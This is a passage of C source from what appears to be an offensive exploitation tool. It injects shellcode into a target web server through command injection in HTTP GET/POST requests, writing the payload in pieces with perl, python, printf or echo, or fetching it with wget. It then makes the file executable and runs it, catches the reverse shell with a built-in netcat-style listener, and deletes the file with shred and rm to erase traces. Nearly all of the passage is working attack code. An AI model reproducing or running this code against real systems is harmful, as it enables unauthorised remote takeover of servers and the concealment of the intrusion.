1435 if (select(FD_SETSIZE, &fds, NULL, NULL, &to) != SOCKET_ERROR) {
1436 #else
1437 if (select(FD_SETSIZE, &fds, NULL, NULL, &to) > 0) {
1438 #endif
1439 int cnt;
1440 if (FD_ISSET(sd, &fds)) {
1441 #if defined WITH_SSL
1442 if (protocol == httpclient_https) {
1443 if ((cnt = SSL_read(ssl, xbuf, sizeof(xbuf))) <= 0) {
1444 int err;
1445 err = SSL_get_error(ssl, cnt);
1446 if (err == SSL_ERROR_WANT_READ)
1447 continue;
1448 else
1449 break;
1450 }
1451 } else {
1452 #ifdef WIN32
1453 if ((cnt = recv(sd, xbuf, sizeof(xbuf), 0)) == SOCKET_ERROR) {
1454 int wsaerr = WSAGetLastError();
1455 if (wsaerr == WSAEWOULDBLOCK) { /* don't think this is used */
1456 continue;
1457 } else {
1458 break;
1459 }
1460 } else if (cnt == 0) {
1461 break;
1462 }
1463 #else
1464 if ((cnt = recv(sd, xbuf, sizeof(xbuf), 0)) < 1) {
1465 if ((cnt) && (errno == EWOULDBLOCK || errno == EAGAIN)) {
1466 continue;
1467 } else {
1468 break;
1469 }
1470 }
1471 #endif
1472 }
1473 #else
1474 #ifdef WIN32
1475 if ((cnt = recv(sd, xbuf, sizeof(xbuf), 0)) == SOCKET_ERROR) {
1476 int wsaerr = WSAGetLastError();
1477 if (wsaerr == WSAEWOULDBLOCK) { /* don't think this is used */
1478 continue;
1479 } else {
1480 break;
1481 }
1482 } else if (cnt == 0) {
1483 break;
1484 }
1485 #else
1486 if ((cnt = recv(sd, xbuf, sizeof(xbuf), 0)) < 1) {
1487 if ((cnt) && (errno == EWOULDBLOCK || errno == EAGAIN)) {
1488 continue;
1489 } else {
1490 break;
1491 }
1492 }
1493 #endif
1494 #endif
1495 //write(STDOUT_FILENO, xbuf, cnt);
1496 }
1497 } else {
1498 break;
1499 }
1500 }
1501
1502 #if defined WITH_SSL
1503 if (protocol == httpclient_https) {
1504 SSL_shutdown(ssl);
1505 close(sd);
1506 SSL_free(ssl);
1507 } else {
1508 #ifdef WIN32
1509 closesocket(sd);
1510 #else
1511 close(sd);
1512 #endif
1513 }
1514 #else
1515 #ifdef WIN32
1516 closesocket(sd);
1517 #else
1518 close(sd);
1519 #endif
1520 #endif
1521
1522 return 0;
1523 }
1524 /*
1525 * end of mini-wwwclient
1526 */
1527
1528
1529
1530
1531 char *percentencode(char *string) {
1532 /*
1533 * url-encodes a string, for use in web environment, e.g.
1534 *
1535 * char *string is a null-terminated string to urlencode. percentencode() will
1536 * return a pointer to the url-encoded string (null-terminated), or NULL if
1537 * malloc() wouldn't allocate maximum space needed to url-encode the string.
1538 *
1539 * the pointer returned should be free()'d before calling percentencode()
1540 * again!
1541 *
1542 */
1543 unsigned int length, a, y, z;
1544 int x = 0;
1545 static char *memory;
1546
1547 length = strlen(string);
1548
1549 if (length) {
1550 if ((memory = malloc(length*3)) == NULL)
1551 return NULL;
1552 } else {
1553 if ((memory = malloc(1)) == NULL)
1554 return NULL;
1555 memory[0] = '\0';
1556 return memory;
1557 }
1558
1559 for (a = 0; string[a] != 0; a++) {
1560 if (string[a] >= '0' && string[a] <= '9') {
1561 memory[x] = string[a]; x++;
1562 continue;
1563 } else if (string[a] >= 'A' && string[a] <= 'Z') {
1564 memory[x] = string[a]; x++;
1565 continue;
1566 } else if (string[a] >= 'a' && string[a] <= 'z') {
1567 memory[x] = string[a]; x++;
1568 continue;
1569 } else if (string[a] == '.' || string[a] == ',' || string[a] == '-' || string[a] == '_' || string[a] == '/') {
1570 memory[x] = string[a]; x++;
1571 continue;
1572 } else if (string[a] == ' ') {
1573 memory[x] = '+'; x++;
1574 } else {
1575 /* else urlencode it */
1576
1577 memory[x] = '%'; x++;
1578
1579 y = string[a];
1580
1581 z = y;
1582 z &= 0xF0;
1583 z >>= 4;
1584 if (z >= 0 && z <= 9) {
1585 z += 0x30;
1586 } else {
1587 z -= 0x0A;
1588 z += 0x41;
1589 }
1590 memory[x] = z; x++;
1591
1592 z = y;
1593 z &= 0x0F;
1594 if (z >= 0 && z <= 9) {
1595 z += 0x30;
1596 } else {
1597 z -= 0x0A;
1598 z += 0x41;
1599 }
1600 memory[x] = z; x++;
1601
1602 continue;
1603 }
1604 }
1605 memory[x] = 0;
1606 return memory;
1607 }
1608
1609
1610
1611 char *decodehex(char *input, FILE *fp) {
1612 /*
1613 * ascii hex decoder
1614 * input *must only* consist of \x?? ascii hex, no other chars.
1615 * decodehex will return an allocated decoded string with the output.
1616 * output will also be written to a file pointer, if not null.
1617 */
1618 int a, x, y;
1619 char *decoded;
1620
1621 if (!input)
1622 return NULL;
1623
1624 if (strlen(input) < 4)
1625 return NULL;
1626
1627 /* allocate some memory */
1628 x = (int)((strlen(input) / 4) + 16);
1629 if (!(decoded = (char*)malloc(x)))
1630 return NULL;
1631
1632 a = 0;
1633 x = 0;
1634 while (input[a]) {
1635 if (input[a] != '\\')
1636 return NULL;
1637
1638 /* get the "x" in \x?? */
1639 a++;
1640 if (!((input[a] == 'x') || (input[a] == 'X'))) {
1641 free(decoded);
1642 return NULL;
1643 }
1644
1645 /* get the first ascii hex num (the first nibble) */
1646 a++;
1647 if ((input[a] >= '0') && (input[a] <= '9')) {
1648 y = (input[a] - '0') * 16;
1649 } else if ((input[a] >= 'A') && (input[a] <= 'F')) {
1650 y = ((input[a] - 'A') + 10) * 16;
1651 } else if ((input[a] >= 'a') && (input[a] <= 'f')) {
1652 y = ((input[a] - 'a') + 10) * 16;
1653 } else {
1654 free(decoded);
1655 return NULL;
1656 }
1657
1658 /* get the second ascii hex num (the second nibble) */
1659 a++;
1660 if ((input[a] >= '0') && (input[a] <= '9')) {
1661 y += (input[a] - '0');
1662 } else if ((input[a] >= 'A') && (input[a] <= 'F')) {
1663 y += ((input[a] - 'A') + 10);
1664 } else if ((input[a] >= 'a') && (input[a] <= 'f')) {
1665 y += ((input[a] - 'a') + 10);
1666 } else {
1667 free(decoded);
1668 return NULL;
1669 }
1670
1671 decoded[x] = y;
1672 x++;
1673
1674 /* loop */
1675 a++;
1676 }
1677
1678 /* null terminate it, in case it's ascii */
1679 decoded[x] = 0;
1680
1681 /* write output to file pointer */
1682 if (fp)
1683 fwrite(decoded, x, 1, fp);
1684
1685 return decoded;
1686 }
1687
1688
1689
1690 /*
1691 * decodeoctal isn't used anymore, everything is ascii-encoded hex
1692 *
1693 char *decodeoctal(char *input, FILE *fp) {
1694 int a, x, y;
1695 char *decoded;
1696
1697 if (!input)
1698 return NULL;
1699
1700 if (strlen(input) < 4)
1701 return NULL;
1702
1703 // allocate some memory
1704 x = (int)((strlen(input) / 4) + 16);
1705 if (!(decoded = (char*)malloc(x)))
1706 return NULL;
1707
1708 a = 0;
1709 x = 0;
1710 while (input[a]) {
1711 if (input[a] != '\\')
1712 return NULL;
1713
1714 // get first num
1715 a++;
1716 if ((input[a] < '0') || (input[a] > '9')) {
1717 free(decoded);
1718 return NULL;
1719 }
1720 y = (input[a]-'0') * 64;
1721
1722 // get second num
1723 a++;
1724 if ((input[a] < '0') || (input[a] > '9')) {
1725 free(decoded);
1726 return NULL;
1727 }
1728 y += (input[a]-'0') * 8;
1729
1730 // get third num
1731 a++;
1732 if ((input[a] < '0') || (input[a] > '9')) {
1733 free(decoded);
1734 return NULL;
1735 }
1736 y += (input[a] - '0');
1737
1738 decoded[x] = y;
1739 x++;
1740
1741 // loop
1742 a++;
1743 }
1744
1745 // null terminate it, in case it's ascii
1746 decoded[x] = 0;
1747
1748 // write output to file pointer
1749 if (fp)
1750 fwrite(decoded, x, 1, fp);
1751
1752 return decoded;
1753 }
1754 */
1755
1756
1757
1758 /* print_target() extracts the hostname from an url and writes it to stdout */
1759 void print_target(char *u) {
1760 int a;
1761 char *tempp, *xurl;
1762 char slashslash[] = "//";
1763
1764 if (!u)
1765 return;
1766
1767 if (!(xurl = strdup(u)))
1768 return;
1769
1770 if (!(tempp = strstr(xurl, slashslash))) {
1771 tempp = xurl;
1772 } else {
1773 tempp += strlen(slashslash);
1774 }
1775
1776 a = 0;
1777 while (tempp[a]) {
1778 if (tempp[a] == '/' || tempp[a] == ':') {
1779 tempp[a] = 0;
1780 break;
1781 }
1782 a++;
1783 }
1784
1785 printf("[i] target: %s\n", tempp);
1786 free(xurl);
1787 }
1788
1789
1790
1791 /* wipeout() removes the installed shellcode file */
1792 void wipeout() {
1793 #ifdef WIN32
1794 if (!pongsilent)
1795 #else
1796 if (!silent)
1797 #endif
1798 printf("[i] attempting to erase installed shellcode from target box\n");
1799
1800 /* run shred -fu <tmpfile> on target box */
1801 /*
1802 if (!silent)
1803 printf("[+] running \"shred -fu %s\" on target\n", TMPFILE);
1804
1805 if (!httpget) { // POST
1806 snprintf(buf, sizeof(buf), "%s/%s", url, cgi);
1807 snprintf(buf2, sizeof(buf2), "%sshred%%20%%2Dfu%%20%s%s",
1808 y_opt, TMPFILE, z_opt);
1809 httpclient("POST", buf, user_agent, buf2, silent);
1810 } else { // GET
1811 snprintf(buf, sizeof(buf), "%s/%s%sshred%%20%%2Dfu%%20%s%s",
1812 url, cgi, y_opt, TMPFILE, z_opt);
1813 httpclient(httpmethod, buf, user_agent, NULL, silent);
1814 }
1815 */
1816
1817
1818 /* run rm -f <tmpfile> on target box */
1819 #ifdef WIN32
1820 if (!pongsilent)
1821 #else
1822 if (!silent)
1823 #endif
1824 printf("[+] running \"rm -f %s\" on target\n", TMPFILE);
1825
1826 if (!httpget) { /* POST */
1827 snprintf(buf, sizeof(buf), "%s", url);
1828 snprintf(buf2, sizeof(buf2), "%srm%%20%%2Df%%20%s%s",
1829 y_opt, TMPFILE, z_opt);
1830 httpclient("POST", buf, user_agent, buf2,
1831 #ifdef WIN32
1832 pongsilent);
1833 #else
1834 silent);
1835 #endif
1836 } else { /* GET */
1837 snprintf(buf, sizeof(buf), "%s%srm%%20%%2Df%%20%s%s",
1838 url, y_opt, TMPFILE, z_opt);
1839 httpclient(httpmethod, buf, user_agent, NULL,
1840 #ifdef WIN32
1841 pongsilent);
1842 #else
1843 silent);
1844 #endif
1845 }
1846
1847 #ifdef WIN32
1848 if (!pongsilent)
1849 #else
1850 if (!silent)
1851 #endif
1852 printf("[i] shellcode wipe finished\n");
1853
1854 return;
1855 }
1856
1857 /* ping() attempts to install our shellcode on the target box */
1858 void ping(void) {
1859 if (!silent) {
1860 printf("[+] attempting to inject shellcode into target\n");
1861 if (httpget && !dumpout && !wgeturl)
1862 printf("[i] to fit into a 1024 byte %s request the shellcode will be split up\n", httpmethod);
1863 }
1864 /* attempt to inject our shellcode into the target box */
1865
1866 if (wgeturl) {
1867 /* the wget method is very different from the regular injection methods */
1868 if (!httpget) { /* POST */
1869 snprintf(buf, sizeof(buf), "%s", url);
1870 snprintf(buf2, sizeof(buf2), "%s%swget%%20%%2DYoff%%20%%2Dq%%20%%2DO%%20%s%%20%s%s",
1871 y_opt, imprefix, TMPFILE, wgeturl, z_opt);
1872 httpclient("POST", buf, user_agent, buf2, silent);
1873 } else { /* GET */
1874 snprintf(buf, sizeof(buf), "%s%s%swget%%20%%2DYoff%%20%%2Dq%%20%%2DO%%20%s%%20%s%s",
1875 url, y_opt, imprefix, TMPFILE, wgeturl, z_opt);
1876 httpclient(httpmethod, buf, user_agent, NULL, silent);
1877 }
1878 } else {
1879 /* regular, non-wget injection method, the preferred way to go */
1880
1881 if (!httpget) { /* POST */
1882 if (!(shellcode_split1 = percentencode(shellcode_p))) {
1883 fprintf(stderr, "[?] malloc(): %s\n", strerror(errno));
1884 return;
1885 }
1886 } else { /* GET */
1887 /* our GET request must be less than 1024 bytes, so we'll split the shellcode in pieces */
1888
1889 /* we calculate it like this in order to be 4-byte aligned at all times */
1890 i = (int)strlen(shellcode_p) / (int)4; /* each ascii-hex is 4 bytes */
1891 i /= (int)4; /* we want to split the shellcode into 4 pieces */
1892 i *= (int)4; /* ascii-encoded hex is 4 bytes */
1893
1894 if (i >= 1024) {
1895 fprintf(stderr, "[?] heap may overflow, shellcode need to be split in more pieces\n");
1896 return;
1897 }
1898
1899 if (!(tempmem1 = malloc(1024))) {
1900 fprintf(stderr, "[?] malloc(): %s\n", strerror(errno));
1901 return;
1902 }
1903 if (!(tempmem2 = malloc(1024))) {
1904 fprintf(stderr, "[?] malloc(): %s\n", strerror(errno));
1905 return;
1906 }
1907 if (!(tempmem3 = malloc(1024))) {
1908 fprintf(stderr, "[?] malloc(): %s\n", strerror(errno));
1909 return;
1910 }
1911 if (!(tempmem4 = malloc(1024))) {
1912 fprintf(stderr, "[?] malloc(): %s\n", strerror(errno));
1913 return;
1914 }
1915
1916 /* split me sideways baby... */
1917 strncpy(tempmem1, shellcode_p, i);
1918 tempmem1[i] = 0;
1919 strncpy(tempmem2, shellcode_p+i, i);
1920 tempmem2[i] = 0;
1921 strncpy(tempmem3, shellcode_p+i+i, i);
1922 tempmem3[i] = 0;
1923 memset(tempmem4, 0, 1024);
1924 strncpy(tempmem4, shellcode_p+i+i+i, i);
1925
1926
1927 if (!(shellcode_split1 = percentencode(tempmem1))) {
1928 fprintf(stderr, "[?] percentencode() failed!\n");
1929 return;
1930 }
1931 if (!(shellcode_split2 = percentencode(tempmem2))) {
1932 fprintf(stderr, "[?] percentencode() failed!\n");
1933 return;
1934 }
1935 if (!(shellcode_split3 = percentencode(tempmem3))) {
1936 fprintf(stderr, "[?] percentencode() failed!\n");
1937 return;
1938 }
1939 if (!(shellcode_split4 = percentencode(tempmem4))) {
1940 fprintf(stderr, "[?] percentencode() failed!\n");
1941 return;
1942 }
1943
1944 free(tempmem1);
1945 free(tempmem2);
1946 free(tempmem3);
1947 free(tempmem4);
1948 }
1949
1950 if (injection_method == IM_PERL) {
1951 /* use perl as injection method */
1952 if (!httpget) { /* POST */
1953 snprintf(buf, sizeof(buf), "%s", url);
1954 snprintf(buf2, sizeof(buf2), "%s%sperl%%20-e%%20%%22print%%20%%5C%%22%s%%5C%%22%%22%%20%%3E%s%s",
1955 y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
1956 httpclient("POST", buf, user_agent, buf2, silent);
1957 } else { /* GET */
1958 puts(piece1_text);
1959 snprintf(buf, sizeof(buf), "%s%s%sperl%%20-e%%20%%22print%%20%%5C%%22%s%%5C%%22%%22%%20%%3E%s%s",
1960 url, y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
1961 httpclient(httpmethod, buf, user_agent, NULL, silent);
1962
1963 puts(piece2_text);
1964 snprintf(buf, sizeof(buf), "%s%s%sperl%%20-e%%20%%22print%%20%%5C%%22%s%%5C%%22%%22%%20%%3E%%3E%s%s",
1965 url, y_opt, imprefix, shellcode_split2, TMPFILE, z_opt);
1966 httpclient(httpmethod, buf, user_agent, NULL, silent);
1967
1968 puts(piece3_text);
1969 snprintf(buf, sizeof(buf), "%s%s%sperl%%20-e%%20%%22print%%20%%5C%%22%s%%5C%%22%%22%%20%%3E%%3E%s%s",
1970 url, y_opt, imprefix, shellcode_split3, TMPFILE, z_opt);
1971 httpclient(httpmethod, buf, user_agent, NULL, silent);
1972
1973 puts(piece4_text);
1974 snprintf(buf, sizeof(buf), "%s%s%sperl%%20-e%%20%%22print%%20%%5C%%22%s%%5C%%22%%22%%20%%3E%%3E%s%s",
1975 url, y_opt, imprefix, shellcode_split4, TMPFILE, z_opt);
1976 httpclient(httpmethod, buf, user_agent, NULL, silent);
1977 }
1978 } else if (injection_method == IM_PYTHON) {
1979 /* use python as injection method */
1980 if (!httpget) { /* POST */
1981 snprintf(buf, sizeof(buf), "%s", url);
1982 snprintf(buf2, sizeof(buf2), "%s%spython%%20-c%%20%%22__import__%%28%%5C%%22sys%%5C%%22%%29.stdout.write%%28%%5C%%22%s%%5C%%22%%29%%22%%20%%3E%s%s",
1983 y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
1984 httpclient("POST", buf, user_agent, buf2, silent);
1985 } else { /* GET */
1986 puts(piece1_text);
1987 snprintf(buf, sizeof(buf), "%s%s%spython%%20-c%%20%%22__import__%%28%%5C%%22sys%%5C%%22%%29.stdout.write%%28%%5C%%22%s%%5C%%22%%29%%22%%20%%3E%s%s",
1988 url, y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
1989 httpclient(httpmethod, buf, user_agent, NULL, silent);
1990
1991 puts(piece2_text);
1992 snprintf(buf, sizeof(buf), "%s%s%spython%%20-c%%20%%22__import__%%28%%5C%%22sys%%5C%%22%%29.stdout.write%%28%%5C%%22%s%%5C%%22%%29%%22%%20%%3E%%3E%s%s",
1993 url, y_opt, imprefix, shellcode_split2, TMPFILE, z_opt);
1994 httpclient(httpmethod, buf, user_agent, NULL, silent);
1995
1996 puts(piece3_text);
1997 snprintf(buf, sizeof(buf), "%s%s%spython%%20-c%%20%%22__import__%%28%%5C%%22sys%%5C%%22%%29.stdout.write%%28%%5C%%22%s%%5C%%22%%29%%22%%20%%3E%%3E%s%s",
1998 url, y_opt, imprefix, shellcode_split3, TMPFILE, z_opt);
1999 httpclient(httpmethod, buf, user_agent, NULL, silent);
2000
2001 puts(piece4_text);
2002 snprintf(buf, sizeof(buf), "%s%s%spython%%20-c%%20%%22__import__%%28%%5C%%22sys%%5C%%22%%29.stdout.write%%28%%5C%%22%s%%5C%%22%%29%%22%%20%%3E%%3E%s%s",
2003 url, y_opt, imprefix, shellcode_split4, TMPFILE, z_opt);
2004 httpclient(httpmethod, buf, user_agent, NULL, silent);
2005 }
2006 } else if (injection_method == IM_PRINTF) {
2007 /* use printf as injection method */
2008 if (!httpget) { /* POST */
2009 snprintf(buf, sizeof(buf), "%s", url);
2010 snprintf(buf2, sizeof(buf2), "%s%sprintf%%20%%22%s%%22%%20%%3E%s%s",
2011 y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
2012 httpclient("POST", buf, user_agent, buf2, silent);
2013 } else { /* GET */
2014 puts(piece1_text);
2015 snprintf(buf, sizeof(buf), "%s%s%sprintf%%20%%22%s%%22%%20%%3E%s%s",
2016 url, y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
2017 httpclient(httpmethod, buf, user_agent, NULL, silent);
2018
2019 puts(piece2_text);
2020 snprintf(buf, sizeof(buf), "%s%s%sprintf%%20%%22%s%%22%%20%%3E%%3E%s%s",
2021 url, y_opt, imprefix, shellcode_split2, TMPFILE, z_opt);
2022 httpclient(httpmethod, buf, user_agent, NULL, silent);
2023
2024 puts(piece3_text);
2025 snprintf(buf, sizeof(buf), "%s%s%sprintf%%20%%22%s%%22%%20%%3E%%3E%s%s",
2026 url, y_opt, imprefix, shellcode_split3, TMPFILE, z_opt);
2027 httpclient(httpmethod, buf, user_agent, NULL, silent);
2028
2029 puts(piece4_text);
2030 snprintf(buf, sizeof(buf), "%s%s%sprintf%%20%%22%s%%22%%20%%3E%%3E%s%s",
2031 url, y_opt, imprefix, shellcode_split4, TMPFILE, z_opt);
2032 httpclient(httpmethod, buf, user_agent, NULL, silent);
2033 }
2034 } else {
2035 /* use echo -ne as injection method */
2036 if (!httpget) { /* POST */
2037 snprintf(buf, sizeof(buf), "%s", url);
2038 snprintf(buf2, sizeof(buf2), "%s%secho%%20-ne%%20%%22%s%%22%%20%%3E%s%s",
2039 y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
2040 httpclient("POST", buf, user_agent, buf2, silent);
2041 } else { /* GET */
2042 puts(piece1_text);
2043 snprintf(buf, sizeof(buf), "%s%s%secho%%20-ne%%20%%22%s%%22%%20%%3E%s%s",
2044 url, y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
2045 httpclient(httpmethod, buf, user_agent, NULL, silent);
2046
2047 puts(piece2_text);
2048 snprintf(buf, sizeof(buf), "%s%s%secho%%20-ne%%20%%22%s%%22%%20%%3E%%3E%s%s",
2049 url, y_opt, imprefix, shellcode_split2, TMPFILE, z_opt);
2050 httpclient(httpmethod, buf, user_agent, NULL, silent);
2051
2052 puts(piece3_text);
2053 snprintf(buf, sizeof(buf), "%s%s%secho%%20-ne%%20%%22%s%%22%%20%%3E%%3E%s%s",
2054 url, y_opt, imprefix, shellcode_split3, TMPFILE, z_opt);
2055 httpclient(httpmethod, buf, user_agent, NULL, silent);
2056
2057 puts(piece4_text);
2058 snprintf(buf, sizeof(buf), "%s%s%secho%%20-ne%%20%%22%s%%22%%20%%3E%%3E%s%s",
2059 url, y_opt, imprefix, shellcode_split4, TMPFILE, z_opt);
2060 httpclient(httpmethod, buf, user_agent, NULL, silent);
2061 }
2062 }
2063 }
2064
2065 /* attempt to chmod 755 our shellcode on the target box */
2066
2067 if (!httpget) { /* POST */
2068 snprintf(buf, sizeof(buf), "%s", url);
2069 snprintf(buf2, sizeof(buf2), "%schmod%%20755%%20%s%s",
2070 y_opt, TMPFILE, z_opt);
2071 httpclient("POST", buf, user_agent, buf2, silent);
2072 } else { /* GET */
2073 snprintf(buf, sizeof(buf), "%s%schmod%%20755%%20%s%s",
2074 url, y_opt, TMPFILE, z_opt);
2075 httpclient(httpmethod, buf, user_agent, NULL, silent);
2076 }
2077
2078 /* ok, either it's installed or it failed... either way, we'll go for the next phase, pong() */
2079 return;
2080 }
2081
2082 /* pong() attempts to execute the shellcode on the target box */
2083 void pong(void) {
2084 /* buffers and temporary variables, can't use the global buf here since
2085 listener() is using them, won't work when we're threaded under win32 */
2086 char pongbuf[4096];
2087 char pongbuf2[4096];
2088 #ifdef WIN32
2089 if (!pongsilent)
2090 #else
2091 if (!silent)
2092 #endif
2093 printf("[+] moment of truth; requesting injected shellcode to connect\n");
2094
2095 if (!httpget) { /* POST */
2096 snprintf(pongbuf, sizeof(pongbuf), "%s", url);
2097 snprintf(pongbuf2, sizeof(pongbuf2), "%sexec%%20%s%s",
2098 y_opt, TMPFILE, z_opt);
2099 httpclient("POST", pongbuf, user_agent, pongbuf2,
2100 #ifdef WIN32
2101 pongsilent);
2102 #else
2103 silent);
2104 #endif
2105 } else { /* GET */
2106 snprintf(pongbuf, sizeof(pongbuf), "%s%sexec%%20%s%s",
2107 url, y_opt, TMPFILE, z_opt);
2108 httpclient(httpmethod, pongbuf, user_agent, NULL,
2109 #ifdef WIN32
2110 pongsilent);
2111 #else
2112 silent);
2113 #endif
2114 }
2115
2116 #ifdef WIN32
2117 if (!pongsilent)
2118 #else
2119 if (!silent)
2120 #endif
2121 printf("[i] request done\n");
2122
2123 return;
2124 }
2125
2126
2127 #ifndef WIN32
2128 /* signalhandler, for the listener() function below */
2129 void signalhandler(int signum) {
2130 switch(signum) {
2131 case SIGALRM:
2132 if (!silent)
2133 printf("[i] operation timed out!\n");
2134 exit(0);
2135 case SIGCHLD:
2136 wait(0);
2137 break;
2138 default:
2139 break;
2140 }
2141 return;
2142 }
2143 #endif
2144
2145 /* listener() works just like "nc -l -p lport" */
2146 void listener(void) {
2147 #ifdef WIN32
2148 SOCKET sd;
2149 SOCKET clisd;
2150 int clilen;
2151 #else
2152 int sd, clisd;
2153 socklen_t clilen;
2154 #endif
2155
2156 static int sopt = 1;
2157 struct sockaddr_in servAddr, cliAddr;
2158
2159 #ifdef WIN32
2160 if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
2161 #else
2162 if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
2163 #endif
2164 fprintf(stderr, "[?] cannot open socket: %s\n",
2165 #ifdef WIN32
2166 WSAstrerror(WSAGetLastError())
2167 #else
2168 strerror(errno)
2169 #endif
2170 );
2171 return;
2172 }
2173
2174 /* bind to lport, any address */
2175 servAddr.sin_family = AF_INET;
2176 servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
2177 servAddr.sin_port = htons(lport);
2178
2179 /* set REUSEADDR socket option */
2180
2181 #ifdef WIN32
2182 if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char*)&sopt, sizeof(sopt))) {
2183 #else
2184 if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (void*)&sopt, sizeof(sopt))) {
2185 #endif
2186 fprintf(stderr, "[?] setsockopt(): %s\n",
2187 #ifdef WIN32
2188 WSAstrerror(WSAGetLastError())
2189 #else
2190 strerror(errno)
2191 #endif
2192 );
2193 return;
2194 }
2195 /* call bind() */
2196 if (bind(sd, (struct sockaddr*) &servAddr, sizeof(servAddr))) {
2197 fprintf(stderr, "[?] could not bind(): %s\n",
2198 #ifdef WIN32
2199 WSAstrerror(WSAGetLastError())
2200 #else
2201 strerror(errno)
2202 #endif
2203 );
2204 return;
2205 }
2206 /* listen for incoming connections */
2207 if (listen(sd, 1)) {
2208 fprintf(stderr, "[?] listen(): %s\n",
2209 #ifdef WIN32
2210 WSAstrerror(WSAGetLastError())
2211 #else
2212 strerror(errno)
2213 #endif
2214 );
2215 return;
2216 }
2217
2218 if (!silent) {
2219 #ifdef WIN32
2220 printf("[+] listening for incoming connection on port %u\n", lport);
2221 #else
2222 printf("[+] listening for incoming connection on port %u, ", lport);
2223 if (timeout)
2224 printf("timeout is %u seconds\n", timeout);
2225 else
2226 printf("no timeout\n");
2227 #endif
2228 }
2229
2230 #ifndef WIN32
2231 /* SIGALRM doesn't exist under win32, and we don't implement the
2232 * windows-specific alarm().
2233 */
2234 if (timeout) {
2235 /* install a signal handler to timeout */
2236 signal(SIGALRM, signalhandler);
2237 /* set alarm to go off at <timeout> seconds */
2238 alarm(timeout);
2239 }
2240 #endif
2241
2242 /* accept new connections, this will block */
2243 clilen = sizeof(cliAddr);
2244 #ifdef WIN32
2245 if ((clisd = accept(sd, (struct sockaddr *)&cliAddr, &clilen)) == INVALID_SOCKET) {
2246 #else
2247 if ((clisd = accept(sd, (struct sockaddr *)&cliAddr, &clilen)) < 0) {
2248 #endif
2249 fprintf(stderr, "[?] accept(): %s\n",
2250 #ifdef WIN32
2251 WSAstrerror(WSAGetLastError())
2252 #else
2253 strerror(errno)
2254 #endif
2255 );
2256 return;
2257 }
2258
2259 /* close listening socket, we won't need it */
2260 #ifdef WIN32
2261 closesocket(sd);
2262 #else
2263 close(sd);
2264 #endif
2265
2266 #ifndef WIN32
2267 /* uninstall signal handler for SIGALRM, we don't want it to time out now,
2268 * since we've got an open connection
2269 */
2270 signal(SIGALRM, SIG_IGN);
2271 #endif
2272
2273 if (!silent) {
2274 printf("[i] got connection from %s:%u\n",
2275 inet_ntoa(cliAddr.sin_addr), ntohs(cliAddr.sin_port));
2276 }
2277
2278 fflush(stdout);
2279 fflush(stderr);
2280
2281
2282 if (!only_listen) {
2283 sprintf(buf, "uname -a ; shred -fu %s ; rm -f %s ; w ; pwd\n",
2284 TMPFILE, TMPFILE);
2285 send(clisd, buf, strlen(buf), 0);
2286 }
2287
2288 #ifdef WIN32
2289 /* win32 readwrite code */
2290
2291 { /* new frame */
2292 int stdin_is_tty;
2293
2294 if (!_isatty(STDOUT_FILENO)) {
2295 _setmode(STDOUT_FILENO, _O_BINARY);
2296 }
2297 if ((stdin_is_tty = _isatty(STDIN_FILENO)) == FALSE) {
2298 _setmode(STDIN_FILENO, _O_BINARY);
2299 }
2300
2301 while (1) {
2302 fd_set fds;
2303 struct timeval tv;
2304
2305 FD_ZERO(&fds);
2306 FD_SET(clisd, &fds);
2307 tv.tv_sec = 0;
2308 tv.tv_usec = 1000;
2309
2310 if (select(FD_SETSIZE, &fds, NULL, NULL, &tv) != SOCKET_ERROR) {
2311 int cnt;
2312 if (FD_ISSET(clisd, &fds)) {
2313 if ((cnt = recv(clisd, buf, sizeof(buf), 0)) == SOCKET_ERROR) {
2314 int wsaerr = WSAGetLastError();
2315 if (wsaerr == WSAEWOULDBLOCK) { /* don't think this is used */
2316 continue;
2317 } else {
2318 break;
2319 }
2320 } else if (cnt == 0) {
2321 break;
2322 }
2323 write(STDOUT_FILENO, buf, cnt);
2324 }
2325 } else {
2326 fprintf(stderr, "[?] select(): %s\n", WSAstrerror(WSAGetLastError()));
2327 break;
2328 }
2329
2330
2331 if (stdin_is_tty) {
2332 if (kbhit()) {
2333 int cnt = read(STDIN_FILENO, buf, sizeof(buf));
2334 if (cnt <= 0) {
2335 close(STDIN_FILENO);
2336 break;
2337 } else {
2338 send(clisd, buf, cnt, 0);
2339 }
2340 }
2341 } else {
2342 /* this will block until a CR is received for every loop :( */
2343 int cnt = read(STDIN_FILENO, buf, sizeof(buf));
2344 if (cnt <= 0) {
2345 close(STDIN_FILENO);
2346 break;
2347 } else {
2348 send(clisd, buf, cnt, 0);
2349 }
2350 }
2351 } /* end while loop */
2352 } /* end new frame */
2353
2354
2355 #else
2356
2357 /* unix readwrite code */
2358 while(1) {
2359 fd_set fds;
2360
2361 FD_ZERO(&fds);
2362 FD_SET(STDIN_FILENO, &fds);
2363 FD_SET(clisd, &fds);
2364
2365 if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) > 0) {
2366 int cnt;
2367 if (FD_ISSET(STDIN_FILENO, &fds)) {
2368 if ((cnt = read(STDIN_FILENO, buf, sizeof(buf))) < 1) {
2369 if (cnt && (errno == EWOULDBLOCK || errno == EAGAIN))
2370 continue;
2371 else
2372 break;
2373 }
2374 send(clisd, buf, cnt, 0);
2375 }
2376
2377 if (FD_ISSET(clisd, &fds)) {
2378 if ((cnt = recv(clisd, buf, sizeof(buf), 0)) < 1) {
2379 if (errno == EWOULDBLOCK || errno == EAGAIN)
2380 continue;
2381 else
2382 break;
2383 }
2384 write(STDOUT_FILENO, buf, cnt);
2385 }
2386 }
2387 }
2388 #endif
2389
2390 #ifdef WIN32
2391 closesocket(clisd);
2392 #else
2393 close(clisd);
2394 #endif
2395 return;
2396 }
2397
2398
2399 #ifdef WIN32
2400 /*** thread function for -L under Windoze ***/
2401
2402 static int thread_lock = 0;
2403
2404 static VOID pongthread(LPVOID Parameter) {
2405 /* child */
2406 pongsilent = 1;
2407 pong();
